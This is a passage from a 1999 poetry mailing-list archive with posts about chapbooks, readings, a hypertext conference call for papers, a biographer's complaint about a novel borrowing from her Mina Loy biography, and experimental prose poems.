dialog --msgbox "end" 0 0
```

↑ Index

58. Alan Sondheim

diary etc.

Mon 6 Sep 1999

=-==

For those who are interested, I've been keeping a diary of sorts (sometimes lame, sometimes with pieces from the texts, etc.) that might be of interest at http://trace.ntu.ac.uk/writers/sondheim/index.htm and again I'd urge you to join trAce (the online writing community) and contribute, especially to some of the avatar, experimental writing, etc. conferences - as well as to the loveandwar piece - all of this can be accessed from that page -

Thanks,

Alan

http://www.anu.edu.au/english/internet_txt - partial mirror at http://lists.village.virginia.edu/~spoons/internet_txt.html co-moderator Cyber-culture, Cybermind, Fiction of Philosophy (fop-l)

↑ Index

59. Tosh

TamTam Books in the U.K.

Mon 6 Sep 1999

In case anyone in the UK are interested, Amazon.com UK are now selling Boris Vian's I Spit on Your Graves & Serge Gainsbourg's Evguenie Sokolov.

Tosh Berman
TamTam Books

↑ Index

60. Mark W Scroggins
Diaeresis Chapbooks
Mon 6 Sep 1999

Dear listmembers:

DIAERESIS CHAPBOOKS announces its fourth publication, and reannounces its first three chapbooks:

Diaeresis Chapbook Number 4:

BILL BURMEISTER, The Gunner's Daughter: A Verse Play

Burmeister reinvents the Greek drama as a dark Boys in the Hall farce; Diana and Actaeon are retold in twenty-first century vulgate; American Pie, scripted by Pierre Klossowski under the spell of Zukofsky's "A"-21.

Diaeresis Chapbook Number 3:

C.S. GISCOMBE, Two Sections from Practical Geography

"C.S. Giscombe has opened up new territory, where we've least expected it, seeking the roots of identity in a poetics that is literally projective: across cultures, centuries, races." --Ron Silliman on Giscombe's _Giscome Road_ (1998)

Diaeresis Chapbook Number 2:

E. A. MILLER, The Underbrush of Abundance

Miller is the author of _Eight Poems_ (1991) and has work in _Chain_, _American Letters & Commentary_, etc. _The Underbrush of Abundance_ is a cosmopolitan, terrorist, lyrically repetitive poem in twenty-six sections.

Diaeresis Chapbook Number 1:

HANK LAZER, As It Is

"Honesty is the best policy--in poetry as in all else. These apt, reductive verses keep a locus of faith with skill and moving commitment. Keep 'em coming!" --Robert Creeley on _As It Is_

Diaeresis Chapbooks are $4 apiece postpaid; any three chapbooks can be ordered for $10; all four for $12. Please make checks payable to Mark Scroggins, 401 NE 45th St., Boca Raton FL 33431.

The editors invite interested authors to submit chapbook-length manuscripts for consideration. Please send two copies of your MS, with a SASE and a brief cover note, to the above address.

↑ Index

61. maz881
socially pertinent texts
Mon 6 Sep 1999

<<Mr. Ellis's two recent posts (re: ponying up for what one ostensibly "believes" in), along with Mr. Bramhall's Ur post, are the most socially pertinent texts I've seen displayed here in the last six months.

Tom Beckett>>

most days i wake up. & i go into the kitchen. and read a socially pertinent text on the wall:

PO
ET
RY
EQ
UA
LS
CO
DE
PE
ND
EN
CY

by Tom Beckett

↑ Index

62. Deena Larsen
Hypertext 00
Tue 7 Sep 1999

Apologies for Cross Posting

ACM Hypertext '00
The 11th ACM Conference on Hypertext and Hypermedia
San Antonio, Texas, May 30 - June 3, 2000
http://www.ht00.org

C A L L F O R P A P E R S
deadline 1st October 1999

(Our apologies for any multiple or redundant postings! This is a once-only mailshot. If you are not on the Hypertext 2000 subscriber mailing list, you will receive no further bulletins on the conference.)

Hypertext 2000 is the 11th in the premier international series of ACM conferences on hypertext and hypermedia. The conference will provide a forum where attendees can present, exchange and discuss original ideas and exciting experiences relating to hypermedia (objects, links, paths, spaces, time, collections, navigational aids, etc) and the use of hypermedia concepts and technologies in special domains (e.g., authoring, publishing, human-computer interaction, digital libraries, electronic literature, computer-supported co-operative work, databases, operating systems, software engineering, education, global information systems such as the WWW).

Hypertext 2000 will have a wide range of tracks and activities, with submissions being invited in the categories of full papers, short papers, panels, workshops, courses, posters, demonstrations and a doctoral consortium.

ACM Hypertext 2000 will be co-located with Digital Libraries 2000, making it easy for delegates to attend both of these highly relevant conferences one after the other. Both conferences are being held in the beautiful and historic Menger hotel, located in the heart of San Antonio, Texas. The city of San Antonio is a popular tourist destination, with plenty to see and do within walking distance of the Menger, as well as many other attractions within a short driving distance.

Critical Dates for Hypertext 2000:

October 1, 1999 Full Papers, Panels, Workshops, Courses and Technical Briefings due

December 1, 2000 Notification of acceptance

January 17, 2000 Short papers, Posters, Demos, Doctoral Consortium and Exhibit submissions due

February 1, 2000 Acceptance notification for Short papers, Posters, Demos, Doctoral Consortium and Exhibits.
Final version of all contributions due

May 31 - June 2 Hypertext 2000 Conference

May 30; June 2-4 Digital Libraries 2000 and Hypertext 2000 workshops and courses

For more information about Hypertext 2000, see the home page at http://www.ht00.org

If you would like to subscribe to the Hypertext 2000 mailing list, send an email to "[redacted]" with a message body of "SUBSCRIBE htdl00news <full name of subscriber>" Once you are subscribed, you will receive regular updates containing conference news, such as keynote speakers, calls for posters and other categories, technical programme updates and other news as it comes to hand.

We look forward to meeting with you at Hypertext 2000!

↑ Index

63. Jim Andrews
Vispo Audio: Some Joseph Keppler work from the 80's
Tue 7 Sep 1999

Vispo Audio
http://www.vispo.com/audio

Back in 1988 I met Joseph Keppler in Victoria BC, where I was then producing a literary radio program called FINE LINES at CFUV FM that aired on 15 campus/community stations across Canada. I produced a couple of radio shows on his work, one of which I have just put up as the first content available on the new Vispo Audio page. I'm proud to have some of Joe's work up as the first audio available at Vispo.

A lot has changed since I produced those shows, but listening to the Keppler shows now, they still sound pretty good. He's an amazing poet, doing very different work now than what is on the 1988 show. This show, which is an hour long broken into two half hour real audio files, features work of Keppler from the eighties--he's legendary around here for his readings--very sound, and commentary by Trudy Mercer, Stephen Thomas, and Carl Diltz on Keppler's work.

Regards,
Jim Andrews

↑ Index

64. Jerrold Shiroma
Deadline for Small Press Listing @ Duration
Tue 7 Sep 1999

The deadline for the September 11th posting for Small Press Publications is this Friday. Any publisher who wants to have their publications listed, send all pertinent information to [redacted] . If including blurbs, please keep them to a reasonable length.

↑ Index

65. Tom Beckett
Re: more pour to the effluent
Tue 7 Sep 1999

I reminded of my 2 Rivers model of life: one slogs away with a foot in a river of honey and a foot in a river of shit. Sometimes the aromas are distinct. Sometimes they are as one.

tom beckett

↑ Index

66. Poetry Project
open for business
Tue 7 Sep 1999

As of today, the Poetry Project is open again after a long and lovely summer of, as poet Sharon Mesmer puts it: "writing, reading, napping, reading, writing, napping, snacking, reading, snacking, reading, snacking, reading."

Other announcements: In July a great bolt of lightening struck St. Mark's Church, frying our telephones, answering machine, and modems. That's why many of you were unable to contact us through August. We're happy to report that we are once again accessible, phoneable, e-mailable, etc.

And speaking of being on-line, there's a new assortment of work in "Poets & Poems" by

Mary Burger
Garrett Caples
Theodore Enslin
Wendy Rose
Jonathan Skinner

at http://www.poetryproject.com

with also an updated Calendar with the October readings and a special reading on September 29th. The new workshop information is also on-line, as well as an updated Tiny Press Center with at least half of all the lovely publications that were sent to us this summer (the other half will be going up over the course of this month). So enjoy!

Happy September,
The Poetry Project

↑ Index

67. David Buuck
SF Bay Area Event
Tue 7 Sep 1999

Field Work

with Arnold J. Kemp & David Buuck

Headlands Center for the Arts
Thurs Sep 9 - 7:30 pm

Artists who practice outside of the aesthetic mainstream in a culture of dwindling public funding for the arts are increasingly dependent on the various communities - local, intellectual, political - that provide mutual support networks for art and ideas. Artist/Curator Arnold J. Kemp and writer/editor David Buuck will discuss their own participation in the Bay Area communities and national "scenes" within which they work. They will explore not only how their individual work is affected by community, but also how working as a curator or editor reflects another kind of involvement in the community-wide production of art and culture.

Arnold J. Kemp is Associate Visual Arts Curator at Yerba Buena Center for the Arts, as well as being a visual artist and writer. His most recent solo exhibition was at ESP in San Francisco last year.

David Buuck co-edits Tripwire: a journal of poetics with Yedda Morrison. He is a 1999 Artist-in-Residence at the Headlands Center for the Arts. A new chapbook is forthcoming from Melodeon Poetry Systems this fall.

for more info please call [redacted] x 28.
Headlands Center for the Arts

↑ Index

68. david bromige
the lack of a state poet laureate
Tue 7 Sep 1999

It was not immediately apparent which state was in question. Sifting thru further posts, one is able to discern it is none other than Calif, my home state for 37 years, 37 years during which time I have never known who the PL was, nor have I noticed any damage to poetry resulting from this absence or, indeed, presence.

However, to allay all uneasiness, I am declaring myself California Poet Laureate and asking you : what do poets need with a governor?

David Bromige, CPL

↑ Index

69. Todd Baron /*/ ReMap Readers
hunger and help
Tue 7 Sep 1999

Please visit

thehungersite.com

to make daily contributions (free to you)
of food to those in need around the world.
A simple click.

Todd Baron
ReMap

↑ Index

70. Maria Damon
jobs fwd
Tue 7 Sep 1999

> *X-From_: [redacted] Tue Sep 7 12:03 CDT 1999*
> *Approved-By: [redacted]*
> *MIME-Version: 1.0*
> *Date: Tue, 7 Sep 1999 12:37:24 -0500*
> *Reply-To: [redacted]*
> *From: [redacted]*
> *Subject: MLA bibliography staff positions*
> *To: [redacted]*
>
> *With the assistance of a grant from the Mellon Foundation, the MLA International Bibliography will be expanding its subject scope to include teaching. The following full-time bibliography staff positions are now open in the MLA office in New York City.*
>
> *INDEXER FOR TEACHING OF WRITING*
>
> *Index scholarly publications on the teaching of writing for a new section of the MLA International Bibliography. Must have PhD in rhetoric and composition or English or American literature, with publications in the field, and a strong interest in research on teaching, theories of teaching, curriculum, testing, classroom practices, rhetoric and composition studies, and other subjects related to the teaching of writing. Must have a solid knowledge of terminology and reference sources in composition and rhetoric, an excellent command of English, editing and proofreading experience, and excellent organization skills. A good knowledge of at least one language other than English is desirable.*
> *Send letter of application and resume to MLA, Box TFR, 10 Astor Place, New York, NY 10003. Deadline: 1 October.*
>
> *INDEXER FOR TEACHING OF LITERATURE*
> *Index scholarly publications on the teaching of literature for a new section of the MLA International Bibliography. Must have PhD in English or American literature, with publications in the field, and a strong interest in research on teaching, theories of teaching,*

> *curriculum, testing, classroom practices, and other subjects related to the teaching of literature. Must have a solid knowledge of terminology and reference sources in the field, a good knowledge of at least one language other than English, an excellent command of English, editing and proofreading experience, and excellent organization skills.*
>
> *Send letter of application and resume to MLA, Box TFI, 10 Astor Place, New York, NY 10003. Deadline: 1 October.*

↑ Index

71. Keith Tuma
fwd from Carolyn Burke
Tue 7 Sep 1999

Carolyn Burke has asked me to forward her letter below about developments in MIna Loy land.

Keith Tuma

***

Carolyn Burke
322 Walnut Ave
Santa Cruz, CA 95060
U.S.A.
Tel [redacted] Fax [redacted] Email [redacted]

Mina Loy's life is the stuff of drama. Given her expatriate experience, participation in the radical art movements of the early twentieth century, and romance with the boxer/poet Arthur Cravan, it is not surprising that her life has been recast in a work of fiction. It is disturbing to note, however, that Antonia Logue's novel Shadow-Box (Bloomsbury, Grove/Atlantic, 1999) relies heavily on my biography Becoming Modern, The Life of Mina Loy (Farrar, Straus & Giroux, 1996; U. of California P., 1997)--not only for historical facts but also for overarching themes, treatment and interpretation of cultural milieux, and in some cases, narrative structures. A comparison of the two books shows that while Logue sought to transform this material, her novel piggybacks on my work, often interweaving innovative parts of the biography and presenting them as "fact." I have been advised that this use of my work is not in itself actionable, but it nonetheless raises issues inherent in the genre of novelization. On Logue's behalf one could argue that since the publication of Becoming Modern Mina Loy's life has entered the public domain. Judging by the stares of non-recognition that still greet me in bookshops, however, such a claim is misleading. When I began work on the biography twenty years ago,

she had been so thoroughly forgotten that most people thought I was writing about the film star. Since its publication critics have recognized Becoming Modern as definitive. As such it has a different status from lives of figures like Gertrude Stein, Hemingway, or Pound, about whom new biographies are written every decade: for this reason Logue's appropriations are all the more salient. Moreover, although she does credit Becoming Modern as one of two "outstanding sources," this acknowledgement is misleading. It suggests only a partial recognition of a much greater indebtedness and could be thought to imply some form of cooperation on my part. While Logue appears to have done no original research into the life of Mina Loy, relying entirely upon the biography, I was never asked to lend my support to her project. Excerpts from reviews of Shadow-Box (none of which mentions Becoming Modern) partially demonstrate the nature of the appropriations:

thematic:

--the biography's major themes reappear as those of the novel: "the conflicting forces at work in the first decades of the century; the dynamism and energy of new movements in art and thought, as opposed to the left-over Victorian propriety that traps the talented, intelligent Mina in an early loveless marriage; forward-looking New York, where her first poems are published and appreciated, versus stuck-in-the-past Europe" (Literary Review)

intellectual and cultural milieux & forms:

-- While Becoming Modern is what made it possible for Logue to evoke the lively artistic backgrounds, from Post-Impressionism to Futurism and Dada, not to mention Loy's lovers and friends like Marinetti, Duchamp, and Picabia, she is credited with original portrayals of "the intellectual excitement and controversy surrounding the arts in the pre-WWI period," even with creating "witty and illuminating" glimpses of the period's luminaries (Kirkus)--the details of which derive from my treatment of these movements and figures.

some uses of specific details, settings, and structures:

To demonstrate the nature of Logue's borrowing, readers should compare the following sections of each work:

Shadow-Box	Becoming Modern
pp. 28: Mina walking Oda in Gardens	p. 96: detail based on my Luxembourg experience, inserted for verisimilitude
p. 29: treatment of the name "Loy"	p. 97: interpretation of the fragmentary evidence

pp. 34-35: LeSavoureux story pp. 102-104: interpretation, repeated as fact considered controversial by

Mina Loy's family

pp. 95-98: presentation of pp. 151-153: original material on Frances Stevens and research, interpretation, Italian Futurists and staging of scenes

pp. 99-102: narrative use of pp. 155-157: original Futurist serata, Florence interpretation, staging of scene

pp. 110-111: Marinetti's trip to pp. 171-172: Vallombrosa "invention" of this meeting

based on fragmentary evidence

pp. 161-163: scene of Cravan pp. 263-265: interpretation leaving Salina Cruz and staging of material woven from diverse sources

pp. 168-176: Loy at Arensbergs', pp. 212-223: interpretation relations with Duchamp, Williams, & treatment of this group & New York Dada individuals including details of badinage with Duchamp

pp. 177-200: Cravan, Independents pp. 223-233, 234-251, details, structured in two parts, with Cravan story interpretations & narrative starting on p. 182 device of highlighting Cravan

story (my Ch. 11)

pp. 263-267: Salina Cruz scene, details pp. 263-265, recreation of boat, communication system, role of Cravan's fate from disparate of Bob Brown sources including Brown

Given my response to these uses of my biography, it is for someone else to judge Shadow-Box. Others will decide whether it transforms the biographical materials, or whether it remains a derivative work penned, as Jonathan Dee observes of recent novels based on the lives of writers, "ostensibly as an act of homage, but also, not coincidentally, as a way of grabbing up the genuine cachet. . . geniuses still deliver, in order to enhance the value of one's own work." ("The Reanimators, Harper's, June 1999). It would also be instructive for Mina Loy enthusiasts to compare Logue's novel with Albert Guerard's The Hotel in the Jungle (Baskerville, 1996), a work of imaginative fiction composed before my book appeared and based on what was then known of the Loy/Cravan story.

Guerard made the legend his own by creating a setting for their romance (the hotel) and a group of characters who retrospectively piece together their story. While it is a pleasure to see novelists' creative transformations of historical material (and there are many successful examples), Logue's raises serious questions about literary method and publishing ethics. Caveat lector, and may this brief account stimulate further discussion.

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72. Poetics List Administration

SJMOSt / "David Larsen" <[redacted]>

Tue 7 Sep 1999

From: "David Larsen" <[redacted]>
Subject: SJMOSt

IT'S ITS "IT'S ITS" IN ITS "IT'S" IN ITS FURY --

THE SAN JOSE MANUAL OF STYLE

2nd issue feat. work by:
Mark Gonzales
Mary Burger
Aja Couchois Duncan
Raymond Pettibon
Alex Cory

Send one concealed dollar and seventy-seven cents' postage to:

Beth Murray & David Larsen, co-editors
The San Jose Manual of Style
460 N. 3rd St. #4
San Jose, CA 95112

↑ Index

73. Mark Weiss

Re: the lack of a state poet laureate

Tue 7 Sep 1999

I don't think you qualify: aren't you an alien (or former alien)?

At 11:12 AM 9/7/99 -0700, you wrote:
> It was not immediately apparent which state was in question.
>Sifting thru further posts, one is able to discern it is none other than
>Calif, my home state for 37 years, 37 years during which time I have never
>known who the PL was, nor have I noticed any damage to poetry resulting
>from this absence or, indeed, presence.

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>However, to allay all uneasiness, I am declaring myself California Poet
>Laureate and asking you : what do poets need with a governor?
>
>David Bromige, CPL
>
>

↑ Index

74. Maria Damon

Re: fwd from Carolyn Burke

Tue 7 Sep 1999

---

i would advise professor (?) burke to contact the National Writers' Union. For the price of your tax deductible union dues, advice on grievance procedures is yours for the asking. it is very distressing when original research that was conducted in relative oblivion and with liitle cultural support is then appropriated as "common knowledge" about a subject; but it also speaks to the influential nature of our work, and how invisible these lines of influence are. i'm glad to be alerted of this. i wish it weren't so, but it happens all the time and should indeed be made matter for public discussion.

At 3:28 PM -0500 9/7/99, Keith Tuma wrote:
>Carolyn Burke has asked me to forward her letter below about developments
>in MIna Loy land.
>
>Keith Tuma
>
>***
>
>
>Carolyn Burke
>322 Walnut Ave
>Santa Cruz, CA 95060
>U.S.A.
>Tel [redacted] Fax [redacted] Email [redacted]
>
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>experience, participation in the radical art movements of the early
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>and in some cases, narrative structures. A comparison of the two books
>shows that while Logue sought to transform this material, her novel
>piggy-backs on my work, often interweaving innovative parts of the
>biography and presenting them as "fact."
> I have been advised that this use of my work is not in itself
>actionable, but it nonetheless raises issues inherent in the genre of
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>about whom new biographies are written every decade: for this reason
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>dynamism and energy of new movements in art and thought, as opposed to
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>an early loveless marriage; forward-looking New York, where her first poems
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>repeated as fact considered controversial by
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>pp. 95-98: presentation of pp. 151-153: original
> material on Frances Stevens and research,
>interpretation,
>Italian Futurists and staging of scenes
>
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> Futurist serata, Florence
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>
> based on fragmentary evidence
>
>pp. 161-163: scene of Cravan pp. 263-265: interpretation
>leaving Salina Cruz and staging of material woven
> from diverse sources
>
>pp. 168-176: Loy at Arensbergs', pp. 212-223: interpretation
>relations with Duchamp, Williams, & treatment of this group &
>New York Dada individuals including
>details
> of badinage with Duchamp
>
>pp. 177-200: Cravan, Independents pp. 223-233, 234-251,
>details,
>structured in two parts, with Cravan story interpretations & narrative
> starting on p. 182 device of
>highlighting Cravan
> story (my Ch. 11)
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>pp. 263-267: Salina Cruz scene, details pp. 263-265, recreation
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>biographical materials, or whether it remains a derivative work penned, as
>Jonathan Dee observes of recent novels based on the lives of writers,
>"ostensibly as an act of homage, but also, not coincidentally, as a way of
>grabbing up the genuine cachet. . . geniuses still deliver, in order to
>enhance the value of one's own work." ("The Reanimators, Harper's, June
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>Logue's novel with Albert Guerard's The Hotel in the Jungle (Baskerville,
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>group of characters who retrospectively piece together their story.
> While it is a pleasure to see novelists' creative transformations
>of historical material (and there are many successful examples), Logue's

>raises serious questions about literary method and publishing ethics.
>Caveat lector, and may this brief account stimulate further discussion.

↑ Index

75. **Tisa Bryant**
Re: TamTam Books in the U.K.
Tue 7 Sep 1999

> *In case anyone in the UK are interested, Amazon.com UK are now selling Boris Vian's I Spit on Your Graves & Serge Gainsbourg's Evguenie Sokolov.*

Small Press Distribution in Berkeley, CA is also selling these books, if you'd like to support small presses and their most humble and loyal distributor.... http://www.spdbooks.org

Tisa

****

Today we declare:
First, they are living in a Nono form;
Second, they are Nono lives;
Third, they make us feel Nono;
Fourth, they make us become Nono;
Fifth, we Nono.
Lan Ma
"Manifesto of Nonoism"
(Chendu, China, May 4, 1986)
****

↑ Index

76. **pete spence**
Re: I can't believe it!!!
Tue 7 Sep 1999

> *It would be troublesome for you and/or the multitude of poet/friends of yours to make other arrangements for skiing this year, but if you wish to support the wildcat poetry strike you may do so simply by clicking "Reply to*
> *All" with the briefest of statements: CANCEL*
>
> *Poet on Strike*

this has all the memory of the ART STRIKE stuff MAIL-ART put on all those years ago!!! a so what the way i see it.. maybe better protest to the indonesian

government on the handling of the east timorese might be a better usage of your time; [redacted]

thanks pete spence

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

77. MAXINE CHERNOFF

Re: the lack of a state poet laureate

Tue 7 Sep 1999

David: You have my vote. Maxine Chernoff

On Tue, 7 Sep 1999, david bromige wrote:

> *It was not immediately apparent which state was in question. Sifting thru further posts, one is able to discern it is none other than Calif, my home state for 37 years, 37 years during which time I have never known who the PL was, nor have I noticed any damage to poetry resulting from this absence or, indeed, presence.*
>
> *However, to allay all uneasiness, I am declaring myself California Poet Laureate and asking you : what do poets need with a governor?*
>
> *David Bromige, CPL*

↑ Index

78. Philip Nikolayev

POETRY AS CODEPENDENCY?

Tue 7 Sep 1999

Did I hallucinate, or did someone use the phrase "poetry as codependency" on this list today? I can't remember in what connection, and for some reason I can't find that message any more. I'm asking because, mysteriously, I happen to have a very old prosepoem that has just that title; I found it just the other day digging through some of my very olden files. It's one of those weird coincidences that seem so hard to explain. Here it is.

Cheers,
Philip Nikolayev
[redacted]

POETRY AS CODEPENDENCY

A bonny good time. Whatever the shelf will bear the mind will brook. Vine-ripe, like sunsets in Virginia, thoughts. Allow me to pass the dynamite. Patterns on north fabric fashion our bee-hivior. And cocktails of toll coins along the route. And poetry, the typoed self. The demon of velocity blood wrinkles. The Gag Hag Tabernacle. Professionalism is analysis. Lo, the gossamer leads me! Aha, Lord Saintly! Joseph the Fox. Dry as the chrysalis. The strangest of them all, the therapeutic. In delicate playboyance, talking extreme sense. The chestered, dynamited. Goosage. Goosage. I'm telling ya. Goosage. I'm telling ya. It's goosage. The mind is a disgusting thing. Vines have a climbing habit. We are responsible for the provision of literature. I am John from Johntown, a Johntown John. I am Dr. Lau, I work in intensive care. And then I realize that it's mesquite broiled. From the right nipple to the cleft: thoughts gone considerably left. The road that makes a hill's informal spine. Word knows the health of the heath. Like a study in thief psychology. Improfound, fluxes across reality the urgent origins of your sea-urchined brain. From Kennedy to Normandy, that's our now concept. Vary the parameters. What better time to break the sad engagement? Nope. A clutch. Eyebrows and bitter filaments of truth; we are but its cross-section, like a blooming crutch. Poetry is slow a-going, but fast a-enjoying. Two stanzas for Kansas. Marx. Bingo, Two Marks. Then the boys decided to go for a slice of slaughter. Unrelevant, un-to-the-point. How best to subdivide your business cake. But above all we remain as brothers, big as gold. Let us all have us a bonnie good time. Allow me to pass the dynamite. Just kidding. A bonny good time. This wicked code of codependency: an injured mutual unrequited love finds tiny profit in truths about itself, and freedom scarcely camps on its doorstep. The lovers, rather than mimicking the points of a shiny compass in predetermined pirouetting, seem like a clumsy pair of reciprocal crutches sloppily held together by bracing pity, tango-torqued to a broken rhythm like elements in a slow-motion complicated cameo larger pratfall, but the curtain refuses to deliver the coup de grace. For a week branches are bullets, centering and ascending. A little car stops to pray at the red light. The rift, elsehow, for I wishn't of sorry pity to starry beauty. Persiflage Mediterranean. Persiflage Manhattan. Getting a bizarreness reaction from underground. Dirty coffee cups applaud, our lady of the armadillo. Biting off more cake than money they can puke. Raddle stichomythia. Robert Maria Paul Waltham. Hello, my name is Charles Cynthia Davis. I have a hard time coping wi/ my thoughts. 'Ts like a general let's dance away our lives. And this span new, bang old, blues. I'll try anything once. feels // wrong. A sickness unto love. Thoughts of women's thoughts. I thaw an unprogress in endemic March. Nothing equals anything. Anything equals nothing. The open-ended needle may yet hug the thread, but this thick torn togetherness can't be mended. Falsificatory realism on industrial lips. And pauper the good guy. Wherein your lax justification governs. To describe my condition, the letter arrived today: should I work my sentences backwards, weave my tuna

diagonally through the sands, yon eucalypti and butts of floats prevaricate siderated, miled along the newspaper? Thing is, round here they collapse perspective on Fridays, crisscross with sap and savvy. The mind body/boutique. Superior repercussions in a flimflam arboretum drive the bag gorge often away on business. Cloying wallets flip transverse. I haven't recounted them yet out of me. I tried, but failed, seeing how the self ebbs, the butter mourns, the basalt flies. All things have conspired to describe my condition: code pendency is kleptomania.

↑ Index

79. Philip Nikolayev
THE NEW ENGLAND POETRY SCENE
Wed 8 Sep 1999

THE NEW ENGLAND POETRY SCENE

Read now of my poems from the book and since the book. I am, of course, aware that the New England poetry scene is much rich with master upon master upon master. I certainly recognize that as a possibility. But eskoozme, although no Mayflower blood my veins suffuses, I claim title to equal honorarium. Of human and inhuman bloods. But one must abandon conventional notions if one wishes to form intellectually responsible opinions about the nature of things. While I'm talking to you and you listen to me, nothing matters to us except for poetry. The chalfting in my knuckles with I like a text that I can put behind me. I'm doing my sleepable best. Drapes vikram merdallion, again praddle and what you being inslope leftwing of here is mindedly severed and glissome. Because zebeto returns daily, and suffers for his poetry but not for lack of funds. And what next, what happened next? That no hard to describe. The traper ninkle clarped and the betterleg chowelled and mowelled cordighkly on the bailvies of the gower. Drome laristic, mardifle across bettri gartri lams and droofled past an litomlden plail. Anada! Anada! Anaaa... daaa..! And lenk, ebertio, tendrilations lourve the bodel, graimed, graiming binsepf to gabbed, to flarfed. Abtor leri, mutri laendelcarsting loni, ems lari terringle, ems lopt, ems betriffle. And not gelf, but silman terdet the somnally lycropian toller, veddically ablamsting the mandaliers. An questel littertly. The zogd, emerly mortible, leamed, narg, gowding out into the nedro-gooters. An mebd paured, "Hooner or baller mavn bend dirgle, then lanx too recmildent." And with an weqwell: "Maiki neri!" But heder tirfalle. The tean-luzded mahn zedded at the whoyle in front of iham. Ahas beler, elak abdoptally out, and which can under the sicumstances penetrate the fergatl tollgate. So by the time we got out of there it was to go back, technical, but we didn't. So all the marzeboddle hemfer to its lepanda, and not, in principle, against the possession of the New England metaboller scene, which has recently come under attach in criticism. Old money

have some argued the Fergus poems best likens to the thermals, but such a proposition is untenable in the face of a journal with a tradition, dedicated to ferdzallen hober in reptangle, as well as a representative selection of new and emerging poets on the periphery. Have reached the number seventeen. Merquando-listitrations. Fulcrum as lurch of eye comprises sheer / Extroverted anus, nebulous as blue jays! And you wanna hear some further, here it comes. I dye a dry wallet green. Have nothing better to do. I converse with a tureen. Have nothing better to do. Exaggerate salmon to shark. Have nothing smaller to do. Belittle a star to a spark. Have nothing bigger to do. I spread the tablecloth wide. Have nothing narr'wer to do. I reveal what I hide. Have nothing gladder to do. Fantastic dreams drums past modulo reality into a clockwise twist against itself to recollapse, to recollect itself barges approach barges, approach from nowhere into the moonlit shine of unshepherded waves recline any which way you will never know the pleasures of oblivion for you have been cast crescently across the tresses of the milky, path but the barges, can still reach you there. Or else what? I have been trying to recast my act, essaying to reset my focus, mainly, and again smoking like a skunk and vainly meaning to renegotiate the pact of the emotions. Hell's seasons are all inherently ideological, because their fluid forms inform the basis of a mimetically grounded poesis. But take for instance verse that's avantgarde! Its cataclysmic flutes too have their seasons, as collocations, reaching for their guns, revert to sense, hoist by their own petards. Hello, hello, the wordy barricades! Goodbye, goodbye, the capitalist season!

↑ Index

80. Alan Sondheim

Bored

Wed 8 Sep 1999

> <

Bored

This is the closeness of eour other

farre Distant from such Homes beeond Wheche onle Chrest Oure Lorde decedes Thus it bee, Amenne

This is the distance of my new Clar

In the truth of God, I Clar, who have not abandoned such Menne as want me, this Eclipse of such Spirit, who Do replace me, the Madde Clar, who have, in the Witnesse of this Warre, do go a-begging for New-Clar, to whomme such Survival as would bee Meet, to Meat upon the Soule, or havyng beene Wrytten, as such, in these foule Tymes, do suche Give your Breathe to suche men as

Desyre such in the Midst of Dredful Carnyge for Whomme they will have Sacrifyced Alle as They have Mette upon Us to turn Inwards of the Soules' Warde in Finalyte To whyche it bee, AmenneWed Sep 8 00:47:57 EDT 1999

This is the closeness of eour other

I bored him oith me. He is borne in me arms. I bear him bodie and kend- nesse before he does die, such Woundes as I haue neuer seene before. Thee saee cat got er tongue, it is not there, norre eees, smel me. Thys ys the kyndnesse of youre othyr.

This is the distance of my new Clar

this aweful war. this war. this abandonment. bones broken, smashed faces. not night. day. The man sits at the table. The woman looks out the window. The woman sits at the table. The man looks out the window. Blood on wooden sill. Burnt fields, fires. Birds vaulted charred and dead in the sky. The limb. To be borne I wille bear. I will take childe from with you. I wille fuck you. What I can do. Smashe me. Join me to yr severd lim. I do cut your haire. I do cut your second fingere on your left hande for Jesys Chryste oure Savioure. You do take the reste, Godde bee. Field of oathes. Blast trees. There is no Moone in no Skye. I did hear your last Sentence to which I am Sentenced, that of Eternal Greefe. Hundred-thousand Dead or Die. Refuse-refugee. Breath of lost Soule; I do pante quick when I am inne me. I do move for you. Do what has Gonne this 20 centuries of Our Lordde. My minde thinks onlie Your Name O Lorde this Swollen earth, flooded. Noth- ynge shall growe heere in Eternal night. Fucke me wythe youre Name, O Manne. Closed and shameful eyes: Nacioun upon Nation shalle falter and to whatte degree? To what whyche has beene torn. The spyke, gunrust, your titte dangling above this face, no mouthe to speake withe. Thys ys the dy- staunce of youre othyr.Wed Sep 8 01:01:39 EDT 1999

++++++++++++ +++++++++++++++ ++++++++++++++++++++ +++++++++++++++++ ++++++

↑ Index

81. George Bowering

Re: Need help for a Millennial Project through trAce!

Wed 8 Sep 1999

> =
>
> *Millennium Project - Help Needed, Comments Invited !!!*
>
> *This is a proposal for a millennium project that would involving running*

> *traceroute and similar applications across the December 31 / January 1 _hinge._*

That would be Dec 2000 -- Jan 2001, wouldnt it?

George Bowering.

,

fax: [redacted]

↑ Index

82. George Bowering
Re: I can't believe it!!!
Wed 8 Sep 1999

> *As a poet, I have been on strike for the past 3 weeks because the dishonourable governor of our state continues to disrespect poets and poetry in general by not appointing a State Poet Laureate when it is the governor's responsibility to have done so after the last poet laureate's term expired.*

What state would that be?

George Bowering.

,

fax: [redacted]

↑ Index

83. George Bowering
Re: the lack of a state poet laureate
Wed 8 Sep 1999

> *Calif, my home state for 37 years, 37 years during which time I have never known who the PL was, nor have I noticed any damage to poetry resulting from this absence or, indeed, presence.*
>
> *David Bromige, CPL*

Yes, David, but in those 37 years, have you ever known who the governor was?

George Bowering.

,

fax: [redacted]

↑ Index

84. Tina Rotenberg

** *Don't miss Carl Rakosi 9/9/99* **

Wed 8 Sep 1999

** NOTICE ** NOTICE ** NOTICE **

Carl Rakosi - famed for his association with the "Objectivists" circle of poets - will be reading in a rare home-town appearance, 7:30 p.m. Thursday Sept 9, 1999 at the Unitarian Center, San Francisco (which is on Franklin at Geary, just a block west of Van Ness, running parallel)

